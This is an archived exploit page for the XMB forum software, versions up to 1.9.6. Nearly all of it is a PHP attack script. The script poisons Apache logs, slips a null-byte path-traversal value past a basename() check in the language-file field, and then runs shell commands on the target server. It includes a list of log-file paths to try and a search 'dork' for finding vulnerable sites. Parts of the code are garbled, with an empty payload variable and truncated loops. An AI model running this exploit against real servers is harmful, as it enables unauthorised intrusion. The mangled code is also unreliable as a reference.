TUCoPS :: HP Unsorted X :: b06-4225.htm

XMB <= 1.9.6 Final basename()/'langfilenew' arbitrary local inclusion / remote commands execution
XMB <= 1.9.6 Final basename()/'langfilenew' arbitrary local inclusion / remote commands execution
XMB <= 1.9.6 Final basename()/'langfilenew' arbitrary local inclusion / remote commands execution



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\n";=0D 
echo "site: http://retrogod.altervista.org\n";=0D 
echo "dork: \"Powered by XMB\"\n\n";=0D
=0D
/*=0D
works regardless of php.ini settings=0D
*/=0D
=0D
if ($argc<6) {=0D
echo "Usage: php ".$argv[0]." host path username password cmd OPTIONS\n";=0D
echo "host:      target server (ip/hostname)\n";=0D
echo "path:      path to XMB \n";=0D
echo "user/pass: you need a valid user account\n";=0D
echo "cmd:       a shell command\n";=0D
echo "Options:\n";=0D
echo "   -p[port]:   Specify   a port other than 80\n";=0D
echo "   -P[ip:port]:    \"   a proxy\n";=0D
echo "Examples:\r\n";=0D
echo "php ".$argv[0]." localhost /xmb/ user pass ls -la\n";=0D
echo "php ".$argv[0]." localhost /xmb/Files/ user pass ls -la\n";=0D
die;=0D
}=0D
=0D
/*=0D
software site: http://www.xmbforum.com/=0D 
=0D
vulnerable code in  memcp.php at lines 331-333:=0D
=0D
...=0D
 if ( !file_exists(ROOT.'/lang/'.basename($langfilenew).'.lang.php') ) {=0D
            $langfilenew = $SETTINGS['langfile'];=0D
        }=0D
...=0D
=0D
this check, when you update your profile and select a new language, can be=0D
bypassed by supplying a well crafted value for langfilenew argument, ex:=0D
=0D
../../../../../../../apache/logs/access.log[null char]/English=0D
=0D
basename() returns 'English' and English.lang.php is an existing file in lang/=0D
folder, now=0D
=0D
../../../../../../../apache/logs/access.log[null char]=0D
=0D
string is stored in xmb_members table so, every time you are logged in,=0D
u can include an arbitrary file from=0D
local resources because in header.php we have this line=0D
=0D
require ROOT."lang/$langfile.lang.php";=0D
=0D
and this works regardless of php.ini settings because of the ending null char=0D
stored in database=0D
=0D
this tool injects some code in Apache log files and tries to launch commands=0D
*/=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
	$c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
	}=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$user=urlencode($argv[3]);=0D
$pass=urlencode($argv[4]);=0D
$cmd="";=0D
$port=80;=0D
$proxy="";=0D
for ($i=5; $i<$argc; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
$CODE ='';=0D
$packet="GET ".$p.$CODE." HTTP/1.1\r\n";=0D
$packet.="User-Agent: ".$CODE."\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: close\r\n\r\n";=0D
sendpacketii($packet);=0D
=0D
$data ="username=".$user;=0D
$data.="&password=".$pass;=0D
$data.="&hide=1";=0D
$data.="&secure=yes";=0D
$data.="&loginsubmit=Login";=0D
$packet ="POST ".$p."misc.php?action=login HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n";=0D
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
$temp=explode("Set-Cookie: ",$html);=0D
$cookie="";=0D
for ($i=1; $i".$cookie."\r\n";}=0D
=0D
//fill with possible locations...=0D
$paths= array (=0D
"../../../../../var/log/httpd/access_log",=0D
"../../../../../var/log/httpd/error_log",=0D
"../apache/logs/error.log",=0D
"../apache/logs/access.log",=0D
"../../apache/logs/error.log",=0D
"../../apache/logs/access.log",=0D
"../../../apache/logs/error.log",=0D
"../../../apache/logs/access.log",=0D
"../../../../apache/logs/error.log",=0D
"../../../../apache/logs/access.log",=0D
"../../../../../apache/logs/error.log",=0D
"../../../../../apache/logs/access.log",=0D
"../logs/error.log",=0D
"../logs/access.log",=0D
"../../logs/error.log",=0D
"../../logs/access.log",=0D
"../../../logs/error.log",=0D
"../../../logs/access.log",=0D
"../../../../logs/error.log",=0D
"../../../../logs/access.log",=0D
"../../../../../logs/error.log",=0D
"../../../../../logs/access.log",=0D
"../../../../../etc/httpd/logs/acces_log",=0D
"../../../../../etc/httpd/logs/acces.log",=0D
"../../../../../etc/httpd/logs/error_log",=0D
"../../../../../etc/httpd/logs/error.log",=0D
"../../../../../var/www/logs/access_log",=0D
"../../../../../var/www/logs/access.log",=0D
"../../../../../usr/local/apache/logs/access_log",=0D
"../../../../../usr/local/apache/logs/access.log",=0D
"../../../../../var/log/apache/access_log",=0D
"../../../../../var/log/apache/access.log",=0D
"../../../../../var/log/access_log",=0D
"../../../../../var/www/logs/error_log",=0D
"../../../../../var/www/logs/error.log",=0D
"../../../../../usr/local/apache/logs/error_log",=0D
"../../../../../usr/local/apache/logs/error.log",=0D
"../../../../../var/log/apache/error_log",=0D
"../../../../../var/log/apache/error.log",=0D
"../../../../../var/log/access_log",=0D
"../../../../../var/log/error_log"=0D
);=0D
=0D
for ($i=0; $i$data.="&newemail=".urlencode("suntzu@suntzu.org");=0D 
$data.="&newsite=";=0D
$data.="&newwebcam=";=0D
$data.="&newaim=";=0D
$data.="&newicq=";=0D
$data.="&newyahoo=";=0D
$data.="&newmsn=";=0D
$data.="&newmemlocation=";=0D
$data.="&newmood=";=0D
$data.="&newavatar=";=0D
$data.="&newbio=";=0D
$data.="&newsig=";=0D
$data.="&thememem=0";//default theme=0D
$data.="&langfilenew=".$xpl."%00/English"; // basename() circumvention, langfile column: varchar(40)=0D
$data.="&month=0";=0D
$data.="&day=";=0D
$data.="&year=";=0D
$data.="&tppnew=30";=0D
$data.="&pppnew=25";=0D
$data.="&newshowemail=no";=0D
$data.="&newinv=1";=0D
$data.="&newnewsletter=no";=0D
$data.="&useoldu2u=no";=0D
$data.="&saveogu2u=no";=0D
$data.="&emailonu2u=no";=0D
$data.="&timeformatnew=24";=0D
$data.="&dateformatnew=dd-mm-yyyy";=0D
$data.="&timeoffset1=0";=0D
$data.="&editsubmit=Edit%20Profile";=0D
$packet ="POST ".$p."memcp.php?action=profile HTTP/1.0\r\n";=0D
$packet.="Referer: http://".$host.$path."member.php\r\n";=0D 
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n";=0D
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
$packet.="Cookie: ".$cookie."\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
=0D
$packet ="GET ".$p."index.php HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n";=0D
$packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n\r\n";=0D
sendpacketii($packet);=0D
if (strstr($html,"my_delim"))=0D
{=0D
echo "exploit succeeded...\n";=0D
$temp=explode("my_delim",$html);=0D
die($temp[1]);=0D
}=0D
}=0D
}=0D
//if you are here...=0D
echo "exploit failed...";=0D
?>=0D
=0D
#original url: http://retrogod.altervista.org/xmb_196_cnd_xpl.html=0D 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH